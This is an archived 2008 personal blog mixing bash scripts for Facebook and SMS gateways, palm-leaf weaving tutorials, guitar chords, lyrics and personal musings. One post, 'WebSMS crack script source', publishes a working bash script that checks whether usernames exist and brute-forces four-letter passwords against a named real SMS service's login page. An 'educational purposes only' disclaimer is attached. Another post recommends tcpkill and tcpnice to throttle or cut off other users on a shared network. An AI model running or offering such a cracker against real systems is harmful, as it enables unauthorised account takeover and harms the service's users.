..::Serenity For the Wicked ::..

BLOG MOVED...SORT OF!

2008-09-15T16:45:00.001+05:00

It's Been almost an year since I started posting on this blog, and to be honest I don't have a lot to show for it. I have however managed to gather up some, albeit a few, regular readers on here. Heartily thanking those guys for the support...and the rest of you too.

Anyway, Like the title says I'm now officially going to stop updating THIS blog, and move to another. I intend to leave this blog as it is and the content intact for...historical purposes let's say.

Why???
let's just say it's about time I got tired of hiding behind the pseudonym. I've been using it for quite a while now, and it sort of got old.

SO..anyway update your links and point them to http://kudanai.blogspot.com because that's where the action is gonna be from now on.

enjoy your journey!

Visitor Stats - OS (*NIX almost there)

2008-09-12T15:37:00.001+05:00

From my blogs traffic logs

Some promising improvements here from the last time I checked it when XP was wayyyy ahead of the *nixes.. but now it's catching up...oh yea it is catching up.

Updating facebook status through bash!

2008-09-12T00:02:00.002+05:00

anger management part 2 peeps!

A nice simple bash script to update the status on facebook from the command line. Pretty straight forward, using cURL here again. As usual, edit the email and passord. Script takes one argument, the status. There's no error-checking so there really isn't a way to know if it was successful or not. I'll add that in sometime later.

I love cURL!

edit: some installation instructions for the younger peeps

1) copy past it into a new file on the desktop say fbupdater
2) open terminal, type "sudo cp /Desktop/fbupdater /usr/local/bin/fbupdater"
3) type "chmod a+x /usr/local/bin/fbupdater"

and that should do it.


#!/bin/bash


email=YOUR-EMAIL
pass=YOUR-PASSWORD

stat=$1

cd $HOME

echo "logging in"

pfID=`curl -L --silent -A "MOZILLA/5.0" -b cookie -c cookie -d "email=${email}" \
 -d "pass=${pass}" -d "login=Log+In" http://m.facebook.com/login.php | \
 sed -nr 's/.*post_form_id" value="(\w+)".*/\1/p'`

echo "updating"
curl --silent -L -A "MOZILLA/5.0" -b cookie -c cookie -d "post_form_id=${pfID}" \
 -d "status=${stat}" -d "update=Update" http://m.facebook.com/home.php > /dev/null

if [ -e cookie ]
then
 rm cookie
else
 echo "no cookie file? something went wrong?"
fi

DAMNED POWERCUTZzZzZzZ!!!

2008-09-03T21:50:00.001+05:00

Here I am happily clicking away on my keyboard and then all of a sudden out of frikin' nowhere the power goes out. That's life up here in the north. Kudos at least that the whole thing is run on hydroelectric plants rather the awful stuff! I wish at least the that damned UPS's would be uh, a little more affordable. Everything is so expensive these days you know? everything!

anyway, I faced another one of these episodes again today and decided to pour a little anger into some scripting ... and this is what came out.



#!/bin/bash

checknet()
{
    ping -c 1 64.233.169.103 > /dev/null
    if [ "$?" -eq 0 ] 
    then
	echo "YOU CAN HAZ INTERNET!" | mail myMobile
    else
        sleep 10
        checknet
    fi
}

checknet

meh... alright well that didn't help the anger issue but I guess it's pretty useful for something so simple. Basically I run this thing when the power goes out (thus no internet), and it tries to ping google (that's the ip there, letting it do DNS is a waste of time so) and keeps trying every 10 seconds until the connection is back up. Then it sends me an email which, incidentally is setup to go to an email2sms gateway (xxxxxxx@airtelkk.com) so I'll get an sms when it's back up. you'll of course need to have the appropriate mta's and stuff configured beforehand. myMobile is an alias set in the .mailrc file.

I need to find something to do that takes more effort... any ideas?

what you see, what you think - think before you think!

2008-08-24T14:59:00.001+05:00

suppose you see somebody you know or know of on the road. Say you know this person to be in a relationship with somebody else. Now let us assume that you happen to see said person walking along with somebody who is NOT the girl/boy-friend/wife/husband/finance' etc...

you notice they're walking along close. what was that? a flirtatious glance? oh no! the gentle punch on the shoulder! could it be? it's got to be doesn't it? said person either:

a) broke up with the previous engagement and is dating someone else.
b) is cheating.
c) is thinking about cheating..oh such a crime!

now the observer goes and tells someone and then somebody else and then somebody else says something to the fiance' or his/her family...
now we all now what happens from then on.

Question - have you ever been in a situation of being the observee in the above scenario?

Ff you said no, I know you're lying! we all do it. Every last one of us. Except of course the very very few,say about 1 or 2 in about a million.

Is it that the observer is so damned ignorant (well he/she obviously is) that they can't think about it for a second before knocking over the domino? Is it really that difficult to comprehend that there is such a thing as FRIENDSHIP and INNOCENCE???

A hug,hand-shake,peck-on-the-cheek,ride-on-the-bike,loving glance,going-out-for-coffee/dinner does NOT imply romantic involvement. It is not a crime to love your friends, or to hang out with them, or give them a lift, or look at them lovingly, or comfort them in a time of need, or hug a friend you've known all your life because you're not gonna see him/her for another six to seven months.

All I'm saying is that when it is not our place to judge, there we must be silent. You are only an observer, and you do not know what goes on in the hearts and minds of everyone. Maybe just maybe you might be able to guess if you know the person well. Even then it remains as such - a guess, nothing more.

...and a guess is not enough grounds to risk bulldozing over somebody's life. Keep your mouth shut when it should be, or at least have the decency to come up to the person and ask.

but of course I'm not saying everybody is innocent. I'm just saying we are all... innocent until proven guilty. Do the right thing..shut the fuck up.

STOP!!!

2008-08-21T19:53:00.001+05:00

stop right there, thank you very much!

webSMS through Bash, revision 3!

2008-08-18T19:22:00.004+05:00

This script is now officially getting a little bloated, but anyways I decided to add another feature to it because I got a little tired of typing in numbers all the time, which is the "directory" feature. basically I just hard-coded in some of the more frequented numbers. Also added checking the number format for those that ARE NOT IN THE DIRECTORY (if they are there they won't be checked so make sure they're correct. This is by design)

of course if you want the earlier no nonsense versions you could try thehttp://shadesofevil.blogspot.com/2008/06/bash-websms-script-on-iphone.html original, or revision 2!. You can also try running it on the iPhone.

USAGE

edit the details in YOUR-USERNAME, YOUR-PASSWORD and the numbers in the directory segement. the format is "alias) number=XXXXXXX;;"

websms [alias|number] MESSAGE


#!/bin/bash

user=YOUR-USERNAME
pass=YOUR-PASSWORD
number=$1
msg=$2

case "${number}" in

#--BEGIN DIRECTORY SEGMENT--##

hotchick1) number=7811223;;
hotchick2) number=7620382;;
hotchick3) number=7923423;;

#--END OF DIRECTORY SEGMENT--##

*)
 if [ -z `echo ${number} | grep -E "^7[5-9][0-9]{5}$"` ]
 then
  echo "ERROR: Number not valid"
  exit
 fi
 ;;
esac


cd $HOME

echo -e "\nSending to ${number}\nMessage is `expr length "${msg}"` characters long"

if [ `expr length "${msg}"` -gt 140 ]
then
  echo "Message will be truncated at ...${msg:130:10}"
fi

echo "Authenticating ... Getting cookie"
if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&password=${pass}\" \
  http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
  sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]
then
  echo "ERROR: Daily quota reached"
  exit
fi

echo "Attempting to send message... "
curl -s --compressed -b cookiejar  -d "mobilenumber=${number}&message=${msg:0:140}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | sed -n 's/.*\([yY]ou .* Day\).*/\1/p'
echo -e "Done!\n"

rm cookiejar

CHORDS - "Ali/Ibrahim Rameez - Gilan"

2008-08-16T22:45:00.003+05:00

Before we begin let's make something absolutely clear. I am not an Ali/Ibrahim Rameez fan. I just happen to like this song. Anyway.. here it is :)

Dedicated to my dear friend Falibe (who IS a fan)


INTRO plucking C G/B C G/B ...

     C                      G    
Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey
     C                      G                   Am
Ithubaaraa Huvaa Thah Nethuneemaa Gislanee


            F               G
Loabi Veemaa Vaudhu Veemey
                     C
Eyge Fahugaa Kehi Dhinee
             F                 G
Beywafaa Vee, Haadha Dhera Ey
                      C
Neygi Huttaa Badhalu Vee



     C                      G    
Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey
     C                      G                   Am
Ithubaaraa Huvaa Thah Nethuneemaa Gislanee


            F               G
Loabi Veemaa Vaudhu Veemey
                     C
Eyge Fahugaa Kehi Dhinee
             F                 G
Beywafaa Vee, Haadha Dhera Ey
                      C        F
Neygi Huttaa Badhalu Vee
                      G        Am    C G F
Heekuree Hey Dhaane Hen, Dhashuvaan
             G        C
Fasbaigaa Eligen Roanehey


(SOLO)

    C                      G    
Aniyaa Dhee Hedheemey Badhunaamey Adhuvanee
    C                      G               Am
Umurah Dhen Salaamey Rulhiveemaa Foohivee


            F               G
Loabi Veemaa Vaudhu Veemey
                     C
Eyge Fahugaa Kehi Dhinee
             F                 G
Beywafaa Vee, Haadha Dhera Ey
                      C        F
Neygi Huttaa Badhalu Vee


(SOME CHEESEY ENGLISH STUFF
YEAAA YOU TELL THAT BITCH!!)
....................  F

                     G        Am    C G F
Heekuree Hey Dhaane Hen, Dhashuvaan
             G        C    Am
Fasbaigaa Eligen Roanehey
            F               G
Loabi Veemaa Vaudhu Veemey
                     C
Eyge Fahugaa Kehi Dhinee
             F                 G
Beywafaa Vee, Haadha Dhera Ey
                      C 
Neygi Huttaa Badhalu Vee


(WAIL THE CHORUS OVER  A FEW TIMES)

Not the most perfect I know but it works. I think it's a G/B throughout the entire thing but the G works fine for me so I use it. Let me know if you have a different version in the comments. Thanks to lavafoshi for the lyrics.

photo © 2008 - kudanai "me and venus"

REO Speedwagon - I can't fight this feeling

2008-08-08T01:00:00.001+05:00

Have you ever rummaged through your music collection and come across one of those really old but golden songs that - for reasons you will never understand - nobody else seems to have even heard of? I suppose this can mean a couple of things..

1) you're getting too old
2) you're hanging out with the wrong crowd :p
3) your taste in music is... well... old

In my case I believe that it would be the first and third option. Let's throw one of those old songs at you "young folk" and see if any of you take a liking to it. This is called "I can't fight this feeling any longer", by REO Speedwagon (wha eh? never heard of em?)

I cant fight this feeling any longer
And yet Im still afraid to let it flow
What started out as friendship, has grown stronger
I only wish I had the strength to let it show

I tell myself that I cant hold out forever
I said there is no reason for my fear
Cause I feel so secure when were together
You give my life direction
You make everything so clear

And even as I wander
Im keeping you in sight
Youre a candle in the window
On a cold, dark winters night
And Im getting closer than I ever thought I might

And I cant fight this feeling anymore
Ive forgotten what I started fighting for
Its time to bring this ship into the shore
And throw away the oars, forever

Cause I cant fight this feeling anymore
Ive forgotten what I started fighting for
And if I have to crawl upon the floor
Come crashing through your door
Baby, I cant fight this feeling anymore

My life has been such a whirlwind since I saw you
Ive been running round in circles in my mind
And it always seems that Im following you, girl
Cause you take me to the places that alone Id never find

And even as I wander Im keeping you in sight
Youre a candle in the window on a cold, dark winters night
And Im getting closer than I ever thought I might

And I cant fight this feeling anymore
Ive forgotten what I started fighting for
Its time to bring this ship into the shore
And throw away the oars, forever

Cause I cant fight this feeling anymore
Ive forgotten what I started fighting for
And if I have to crawl upon the floor
Come crushing through your door
Baby, I cant fight this feeling anymore.

A bit corny I know but I love it...aaaaaaAAAAAAnd here is kawky1 over on youtube playing it on an acoustic (I love this guy!!!)

Dealing with bandwidth hogs.

2008-08-02T21:41:00.001+05:00

Living off a shared internet connection can be a painful and frustrating thing. Most of us have, at one time or the other, had to deal with people siphoning off more than their share of bandwidth from the network - and quite often at the most ungodly hours. Don't you just want to take his/her laptop and throw it out the window, set fire to said person and watch him/her scream in agony until said he/she is deader than a roast chicken? Well probably not but I'm trying to make a point.

There are several approaches (that I know of and used in the past) that have been helpful for me, which are, in order;

1) Ask nicely, turn off the f#$@) torrent.. please?

2) Teach them how to schedule large downloads. Most torrent clients and a lot of web download clients have schedulers. limit download speeds during high-traffic hours, and schedule downloads to off hours like say.. late at night? or when everybody would be off at work or school or whatever.

3) Ask again.

4) Form a constituent assembly among your internet sharing group and
draft/edit/draft/edit/draft/evaluate/draft/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend/amend
a constitution or doctrine governing the use of the connection. Give
the router automatic weapons and guns to enforce this policy.

5) Ask yet again

6) Beg

7) Threaten to kill them.

Time to get down and dirty

8) Get into that router, block off some ports or something.

9) If your router has traffic shaping capabilities, bandwidth limiting or priority scheduling then turn them on and set some rules. Read your routers manual (there are too many to go into detail) If it doesn't have the capability, consider upgrading your routers firmware to something like tomato or dd-wrt to get these features (if they're supported)

10) kick the abusers off the network for some time. Block his MAC address

11) But of course there's the lazy man's approach and one I use quite often. It's called "tcpnice" and it's a nice little program that comes with the dsniff suite of applications. If that don't work there's tcpkill to kill off their connections.

eg: sudo tcpnice -i wlan0 -A host 192.168.1.4

and mister 1.4 would be nice and slowed down.

This is called active traffic shaping :)

12) if that don't work well I'm afraid you might have to just kill them.

Or maybe not... maybe some of you have better approaches - share in the comments please.

Lost...

2008-07-26T22:10:00.001+05:00

Hello, My name is SoE, and I'm an addict!

That didn't end well...

2008-07-17T13:55:00.001+05:00

So my foray into the dark side did not last too long. While it was good at first claustrophobia finally got the better of me.

While Sabayon was good it got a bit annoying after a while. Package installations took just a tad bit too long. I'm down with portage and it's concept and everything but it just took too damn long. The update notification bubbles wouldn't go away, I had to disable the notification applet. It's a good distro overall, but it's the little things that probably would've driven me insane in the long run.

Feeling a bit experimental, I decided to try openSUSE. It was...different that's for sure. Slick, fast and the KDE implementation of much more stable. The installation however still left something to be desired. Sabayon was really good on that front it's installation was awesome...but slow. Hardware detection was particularly good. openSUSE on the other didn't quite seem to have completed the job. I was left with some gaps that I had to fill myself, drivers were missing and it didn't seem to like my graphics very much. I thought the module loading bug would be fixed in the 2.6.25 kernel where that damned SSB module tried to load itself for my broadcom 4311 rev 2 card (yes..it's a really really bad idea to buy anything with this card in it). openSUSE still had this problem, which required manual fixing. However when I resolved these issuse openSUSE was a pretty smooth drive from there on. Sabayon didn't have this problem though. everything "just worked", including wireless (no need to extract the firmware).

I'm back on Ubuntu now, and I'm sticking with GNOME (sorry vishah hehe)

Crossing over to the Dark side of the Desktop Environments...!

2008-07-13T13:58:00.001+05:00

Alright so it's not exactly the "Dark" side... the blue side more likely but that's beside the point.

I'm by breeding a GNOME guy, although I love konqueror. Yesterday out of sheer curiosity I decided to download Sabayon and try it out. While it's not exactly openSUSE about the whole KDE business, I was surprised by how ridiculously smooth the system was. I was able to run Nexuiz off the live system and it ran at god awful fast framerates I could hardly have known that it was running live. The LiveDVD was faster and smoother than any Ubuntu liveCD that I've booted (and believe me I've booted them all)

As I was clicking through the system I began to realize one thing. I've been seriously missing out on the desktop action by refusing to seriously consider KDE. Sabayon 3.5 is stacking up really well from the looks of it.. Ibex poacher they say. Ubuntu has better step up to the plate a little with Intrepid Ibex ah say.. because to be honest Hardy has been something of a disappointment for me.

so the point being... KDE here I come! boldly going where...I have...never gone before :p

RUKUFAN ORIGAMI - BIRD!

2008-07-07T20:11:00.005+05:00

I got to spend some quality time with Mr.Studydegree today, and learned how to make that bird. So here is part..err..four.. of this ongoing series. Right then lets begin. You need two strips (basically one "fanvai" (leaf) with the eakle removed) The first step is to tie a basic knot towards one end of one of the strips. Which should give you this.

Notice how there's a bit left on the right (ooh oxymoron!). This will form the tail section so leave enough for it there, but not too much so that you'll run out of material later. Now you take the second strip and insert it into the knot like so.

Notice how the shiny side faces up? yea that's important if you want all shiny on the outside when you're done. Got it? now hold that intersection down and turn the thing around... (hit the music foo~! pardon the callus, I do play the guitar you know?)

So far so good. Take the lose end of the second strip, and run it between the protruding tail section.

Note how the non-shiny side faces up. Alright now here's where it gets a whee bit tricky. observe the next picture carefully. We're still playing with the lose end of the second strip here.

See how it goes around, between the tail and into the knot. That end now needs to over OVER the loop formed by the second strip itself. Notice how I'm holding the thing? Holding it like this helps keep the strip from coming out of the tail section. Now pull the through that knot and over that loop like this.

Alright now grab the two lose ends that form the tail with one hand, and the other two with the other hand, and pull! carefully now.

Pull that nice and tight. You're almost done with the body section. Alright now after you've tightened that up you should have something like this.

You should have four loose ends, two on each side. Of those, on of them are going to be neatly tucked and the other is going to be on the outside like is shown in the picture above. What you need to do is make an incision on the cross strip to tuck that loose strand in.

Repeat that for the other side as well. Congratulations, you have now completed the body. You should have a nice even structure now, with the loose strips of one end being shorter (the tail, which is also complete) and the other much longer (for the head and wings.)

Now we go for the wings and head. On the head side, make a similar incision to the one you made to tuck in that loose end. Next, pull the strip through it (not completely), forming a loop.

Repeat for the other side as well,

That loop needs to be roughly the same size as the width of the strips (because you're going to pull them through it). Now for the wings, take one of the ends and pull it through that incision yet again, forming a second (larger) loop that will form the wings.

Repeat this for the other side as well, which will leave you something like... this

Great now you've got wings. You're almost done now, just a few more loops. It's time to form that head! Take one of the ends, and insert it into the loop that is further away from it.

here's another perspective on that one..

Don't tighten that up just yet. You need to loop the other loose end OVER the one you just formed, and into it, then thread it through the small loop that's away from it...

Alright now you can tighten it. Slowly pull that through (grab the beak) to form...

see that? Yay you did it! All that's left to do now is cut those things up into any shape you like and you're done. Congratulations! You are now becoming more and more with nature.

Here's the one I just made to take pictures for this tutorial.

No comments about my hand needing moisturizer please. I already know that :P

If you enjoyed that, make sure you check out the others in this series.

RUKUFAN ORIGAMI - GADI

RUKUFAN ORIGAMI - BASHI (BALL)

RUKUFAN ORIGAMI - FISH

RUKUFAN ORIGAMI - Good News MORE coming soon.

2008-07-06T00:19:00.002+05:00

After what seems like a really long time for it to happen, My friend over at studydegree has figured out how to make that origami bird I was talking about. I hope to upload it soon. All the credit goes to him. Be nice, head on over there and say thank you :) I'll be learning how to make it from the guy as soon as possible (it's been way too long already) and I will upload a tutorial...

Now then, it's shameful to see how quickly the visitor count drops when you're not updating huh? what's the matter with you people! you should check back here now and then! hehe. No seriously.. 100+ unique hits per day down to 10? that's pathetic! Shame on you!!!

Meanwhile to get your interests up, here's a picture of what to expect.
Photo courtesy of keyolhubey and studydegree

Cheers!

HDR imaging

2008-07-01T22:25:00.001+05:00

If you're anything like me, and you enjoy a good sunset then you'll probably know what this is about. Have you ever wanted to capture all those colours on your digital? maybe you tried, but it always seems so so much blander than the real thing?Well that's because you can only get so many colors on there. HDR saves the day! it stands fo High Dynamic Range. Basically - more colors :)Here's a picture I took today, nothing fancy but gets the point across.and the same done HDR

see the difference? I'm telling you it's the shit! Especially if you have one of those really cheap cameras..like me :(Basically what you do is take three shots (or more) with varying levels of exposure (one under, one over and one just right), and then combine them. It's quite easy in photoshop (since CS2, there's a "merge to HDR" option somewhere in there)Now you might want to consider upgrading your camera's firmware to CHDK, which will allow you, among other things to a) Shoot in RAW, and b) shoot with auto bracketing. Both these will help you immensly with the HDR business (specially shooting RAW)have a look into it. It's worth your while.

RUKUFAN ORIGAMI - FISH!

2008-06-30T13:14:00.000+05:00

Alright peeps here we go, by popular demand, this here is the nice illustrated guide to making a "fish" out of coconut palm fronds (SO THAT'S what they're called!!!). You could also just make it out of two strips of paper I suppose. I'm not feeling particularly vocal today, So I think I'll avoid the yapping and let the diagrams do the talking. There's a PDF version up for grabs down there. Click the image for a larger view.

You start off with two strips (remove the "iloshi" from one and you'll have two..get it?) and using that...

And tighten. Cut off the excess into whatever shape of fins you like. If you got it right, here's what the finished product looks like (more or less)

Neat huh? I'm particularly happy about how the diagrams came out. If you liked that please take some time to check out my previous posts, and don't forget to tell your friends (;

DOWNLOAD PDF VERSION.

RUKUFAN ORIGAMI - A GADI (Watch)
RUKUFAN ORIGAMI - A BASHI (Ball/cube thing)

Rukufan Origami!

2008-06-30T02:35:00.002+05:00

Well I'm positively delighted by the amount of positive responses I got from the last two posts. I would like to clarify one thing to you guys though, I am in no means an expert in the matter. I'm just learning this as I go, so please do bear with me. I've decided to push ahead with this as I've developed quite a fascination with this most extraordinary art-form.

Unfortunately though, I'm a few thousand miles away and without access to the local knowledge pool so what I can learn over here is pretty limited. I've been asking my friends if any of them know about the subject but alas, it seems the rest of my generation here is as oblivious as I am. I seem to have however, sparked their interest - as I hope I have done yours as well. It is my sincere hope that more people will be able to share their knowledge with us. Those of you who can, please take some time to learn at least some simple stuff, and if possible share it with us. I think it'd be a great way to spend time with your parents/grand parents.

On a more positive note, I've been told that there is one particular Maldivian here who is likely to know quite a bit about it, and I'm going to try and hunt him down. It seems he organized and weaved a "Bodumas" for a cultural festival here so there's definitely promise of getting some very exciting stuff out of him. The "Bodumas" is perhaps the pinnacle of the art-form and a symbol of our nationality.

I will post how to make that fish (which I THINK was taught to me by my farther) soon.

In other news, Elton John is still gay.

How to make a fan Bashi (ball?)

2008-06-28T14:00:00.004+05:00

After having FINALLY learned how to make one of those things last night, I spent some time this morning to draw up some diagrams on how to make it for those of you who haven't had the fortune of inheriting this particular piece of our heritage. So here goes!

Basically you need to two leaves, long and healthy and without any insect holes (believe me when I raped the palm tree last night I got my fair share of "unsuitable" ones)

Next you'll need to cut it into nice long (anything longer than a foot works I guess) strip. Leave the rib (iloshi) intact when you do this. Ok so now you got two nice long strips of "fan" (kekek) to play with. Now you need to take out the iloshi while leaving a small bit of it - roughly the same as the width of a half leaf- (from the side where the iloshi is narrower) holding the two segments of the leaf together, so you should have something like this.

Got it? Great! now for the next step. Take one of these, and pull one of it's legs between those of the other one. Lay them on each other at right angles. Confused? Check the diagram :p

Alright now to get started with the weaving. It's easier if you have the "legs" facing away from you. I'll name each one (there are four right?) as a,b,c and d (starting from the left). Ok now you need to pull "a under b", and "d over c". Remember "a under b" and "d over c". Like so

notice how the "d" was on the underside and "a" on the top side before you began. Ok now after the "a under b" and "d over c" move, you cross a and d in a "a over d" move. It might be a little handful at first buy you'll get the hang of it. the "a over d" move is like so -

Are we having fun yet? Now isn't this better than watching fuloak the international on YouTube all day? The above move will leave you with something looking like this

NOW TIGHTEN!!! pull it hard you bitches!!! (whoa hey not so much!) alright now that completes one weave. It's going to try and bend (that's supposed to happn so let it happen) Congratulations! Now you'll once again have four legs facing away from you. Rename (a-d) from the left again, and start over from the "a under b" move, and then when you reach this point again, start over again..over...and over...and over.. and OOOOOVVEERRRRRRRRRR... until you're almost out of "leg", (or you the thing is as big as you want. You need four weaves minumum...I think. Let's play on the safe side and make it a five weave minimum) at which point it's now time for you to "tuck in".

You do this by pulling the legs under the weave. I couldn't draw this (bah!), so I took a picture (with my modified Canon camera again) and drew arrows on it ;)

Pull that through,TIGHTEN, repeat it for all the legs for a couple of times and cut off the rest. (It would probably we wise to leave your own legs intact)

Congratulations! You are now a proud Maldivian :)

Happy weaving. Post pictures if you make it. Now then, does anybody know how to make those pretty little bird things? Goddamnit I should've payed more attention as a kid huh? Maybe I would've learned something other than to make a "Gadi"!

Seriously though if any of you do know how to make one, do post. OR teach me how to make one so I'll post it :p

Sharing is caring people sharing is caring.

Now check out this fish I made. Ok so it's not the prettiest thing but hey I'm no "pro"

I finally learned how to do it...!

2008-06-28T10:10:00.000+05:00

In the comments for my last post, Iekko mentioned that she used to make "bashi" when she was a kid. She must've been one smart kid because despite several efforts by grans to teach me, I never did figure it out. In the end I always snatched what she made and ran aloof...

ah but that was 15 years ago! tonight I was on a mission! yes that's right a friggin' MISSION!!! To learn or bust! s it turns out making one is not such a big deal. So I guess that mean's I was mentally retarded as a kid (Uh..some would argue that I'm still retarded... right naduha?)

So I snuk up on the terrace and raped Mr.Raja Shekar's coconut palm, and together with my flatmate (she taught me how to make it) I managed to make THIS!!!

Pretty neat huh? Yea that's my palm right there. I took this picture on my Canon runnin CHDK software (although not using any of it's features :p ) Check out the "gadi" on my wrist there. Oh yeah it's all up and crazy in here tonight so you all better keep a look out.

Make a "Gadi" (watch) out of "Fan" (palm leaves)

2008-06-27T12:09:00.000+05:00

My grandma used to make these for us when we were kids. We drew little clock faces on them and wrecked all sorts of havoc around the neighborhood. Sadly though you almost never see coconut palms around male' (are there any left?) and people don't really do this kinda stuff for their kids anymore. Since I have a lot of time on my hands today I thought I'd waste some time and draw up some illustrations... perhaps make a few of you a little nostalgic.

So here goes -

And there you have it. Knock your selves out.

Note: I didn't do this because I thought any of you would actually NEED instructions, but because I wanted to kill some time.

Turn your Canon camera into GOLD!!!

2008-06-26T22:27:00.001+05:00

There's a really good chance that most of you are already familiar with CHDK, but if you're not - you should definitely give it a shot.

CHDK is a firmware enhancement that operates on a number of Canon Cameras. CHDK gets loaded into your camera's memory upon bootup (either manually or automatically). It provides additional functionality beyond that currently provided by the native camera firmware.

Basically it takes your crappy camera and stuffs in a bagload of features that're usually found in much much more expensive ones (and some not in any!) Sounds good? I can assure you would be extremely stupid not to try it. It's amazing the things you can do with an old busted point and shoot with the enhanced features. (including and not limited to shutter speed control, custom ISO settings, ability to run scripts,games,your momma on your camera, flash sync, USB cable remote trigger, live histograms,grids, SHOOTING IN RAW.. and MANY many more)

The best part is it's free, and completely (unless you're really stupid) harmless. You'll love those long exposure shots especially if you're a star gazer like me. My friend Keyolhubey has posted a few time lapse video's he did with his Canon A530 using an intervalometer script.

head on over to CHDK and get started now. It's as easy as grabbing the proper firmware image and putting it on your camera's memory card. How can I tell?!

Q. How can I get the original firmware version number of my camera?
A. To get the version number, you need to:
create a file called ver.req in the root directory of your SD card. Be sure to save it as all files and not text. It might be necessary to create the file name explicitly in upper case. e.g. VER.REQ
IMPORTANT: Note that it is spelled ver.req, as in VERsion REQuest, that Q is NOT a G, Type it correctly!!!
switch on the camera in playback mode and wait for the main screen (don't switch on in rec mode and change to playback later)
press the
set+disp. buttons together (press set first, hold it down, then press disp.).

You will see a string like Firmware Ver GM1.00E. The 1.00E part is the firmware version.

ver.req is just an empty dummy file.

Floak the international on YouTube

2008-06-26T10:38:00.001+05:00

I've always though that the floak series was the best thing to hit Maldivian television since ... like... EVER! Needless to say I was delighted to hear that they were going to start airing it again. Unfortunately though, I'm miles away - and they only air it in the small hours of the morning. Sigh.. How I wish somebody would upload it to YouTube.

AND SOMEBODY HAS! awesomeness! one mr.midnightmaldives is making all our wishes come true. Thank you Mr.MidnightMaldives. This is just like all the time I waited for somebody to upload Sheep in the Big City (quite a rewarding wait))

His YouTube Channel is here. So far he's got some floak, dhiriulhumakee miee baa? and Bakhabaru up there, so if you're in the mood, head on down.

Twinkle twinkle...

2008-06-25T17:25:00.001+05:00

they say that if you're looking at a star/moon, and somebody somewhere is also looking at it that very moment that they can be a little closer to each other.

I happen to love star gazing, in fact, I wanted to do it professionally for a while. It's funny how so many dreams can just die off and be replaced by others. I used to think it was my destiny. I even have three spots (kalhu thila) on my left shoulder in the shape of Orion's Belt!

but then again I also wanted to be a rockstar for a while :| I can never make up my damned mind. can you?

photo © 2008, kudanai

WebSMS crack script source.

2008-06-24T13:55:00.001+05:00

some time ago I posted an article about how ridiculously insecure the webSMS site was, and how it was relatively simple it was for somebody to write up a bash script to possibly crack the default passwords.

For lack of something better to post about, I'm releasing the 5-minute bash script that I wrote as a proof-of-concept (for myself mostly). Now if you want something a bit less... wicked, you can try out my bash script to send sms's. Buuuuuut since you insist, the following code is released on a ZERO LIABILITY basis. Which means, I am in no way responsible for your actions. It's proof-of-concept code and is NOT intended to be used. Educational purposes only. I will not be held responsible for any claims or charges of damages, negligence, cyber-crime etc and YOU automatically agree to this if you continue reading beyond this point. As such, I will not be giving you instructions or assistance regarding it. Thank you for your co-operation :)


#!/bin/bash

cd $HOME/Desktop
mxjobs=15
cont=0

if [ -z ${2} ]
then
    cont=1
else
    cont=0
fi

echo "checking if username exists"

if [ -n "`curl -s  --compressed -d \"username=${1}&password=wroXngo123!@)\" \
    http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
    grep \"password is incorrect\"`" ]
then
    echo "User exists. Let's see what happens."
else
    echo "That username does not exist."
    exit
fi



for a in {A..Z};do for b in {A..Z};do for c in {A..Z};do for d in {A..Z}
do
    f="${a}${b}${c}${d}"
    
    if [ $cont -lt 1 ]
    then
        echo  -en "skipping ${a}${b}${c}${d}\r"
        
        if [ "${f}" = "${2}" ]
        then
            echo
            echo "MATCH"
            cont=1
        fi
        continue
    fi
    
    ok=0
    while [ $ok -lt 1 ]
       do
          if [ `ps -A | grep curl | wc -l` -lt $mxjobs ]
          then
            ok=1
          fi
       done
    
       echo -en "Testing ${f}\r"
 
       if [ -n "`curl -s --compressed -d \"username=${1}&password=${f}\" \
       http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep Dear`" ];then \
       echo "Found ${1},${f}" | tee -a foundpasses.txt;killall curl;kill ${$};fi&     
    
done;done;done;done

echo "I guess we didn't find it then"

This Saddens Me...

2008-06-18T11:50:00.000+05:00

see that pie chart over there? It's extremely depressing to see that you know? I mean seriously people upgrade upgrade!

Me and Bess - Singing Nothing Else Matters

2008-06-16T03:22:00.000+05:00

Let me just start off by saying that there is no video?

This would be one of those "I can't believe I'm actually doing this" kind of things but I was bored and... what the heck.

This was recorded some time around 2006 I believe. I can remember doing it using an old busted microphone that i got for like 30rf or something, sitting by the computer one night, trying to figure out Sonic Foundry's Acid Pro (now Sony's Acid Pro.) It took a couple of tries (my farther kept barging in and spoiling the takes) to get it as it is. Not that it's much anyway.

Bess is my guitar by the way. I've since bought another one (named Venus because it's much much prettier) and I don't really play with Bess (left her back in Male' under the care of "bro")

There's a picture of her and "bro" here if you wanna see it)

on with the music :) DOWNLOAD

Firefox the hype...

2008-06-13T14:40:00.000+05:00

I must say that although I use firefox frequently and greatly support it's open source model, but in all honesty I find that it is still no match for Opera and Konqueror. I think opera is hugely underestimated by the majority of people and maybe perhaps should it open up it's source, it can blow firefox out of the water any day, hands down with both hands tied up behind it's back ... not to be harsh or anything, but to me, Firefox still sorta seems like the little kid who wants to be Opera when it grows up.

now then, don't forget download day!

Happy Birthday - to me :)

2008-06-13T02:23:00.000+05:00

ahhhhh... I'm getting too old for this shit!

Bash (webSMS) script on the iPhone

2008-06-08T16:12:00.000+05:00

in response to the comment left by subcorpus on my previous post:
please note - this isn't going to be layman friendly

1. Install the following packages from Cydia
(You may also use installer.app if you can find them there but Cydia does it best.)

1.Bourne-Again SHell
2.cURL
3.Mobile Terminal (Or any other terminal you prefer. I recommend this one)

That should take care of the dependencies.

2. Save the script on your computer. rename it to 'websms' or 'sms' or whatever you prefer.

3. Copy it over to the folder '/usr/bin' the iPhone (use SSH)

next you need to change the file permissions and make the script executable.

4. Fire up the terminal on the iPhone. Get root (type 'su' and give it the password when asked). then 'chmod +x /usr/bin/XXX' where XXX is the name you gave to the file.

5. Exit root ... and that's it!

To use you simply have to type on the terminal like this
websms user password number "message"

hehe. for the sake of avoiding all the typing, on my phone I've pre-set the variables usr,pass, and number (i only use it to text my girlfriend) to the appropriate values, and changed the line 'msg=$4' to 'msg=$1'. That way I can just type -

websms "message"

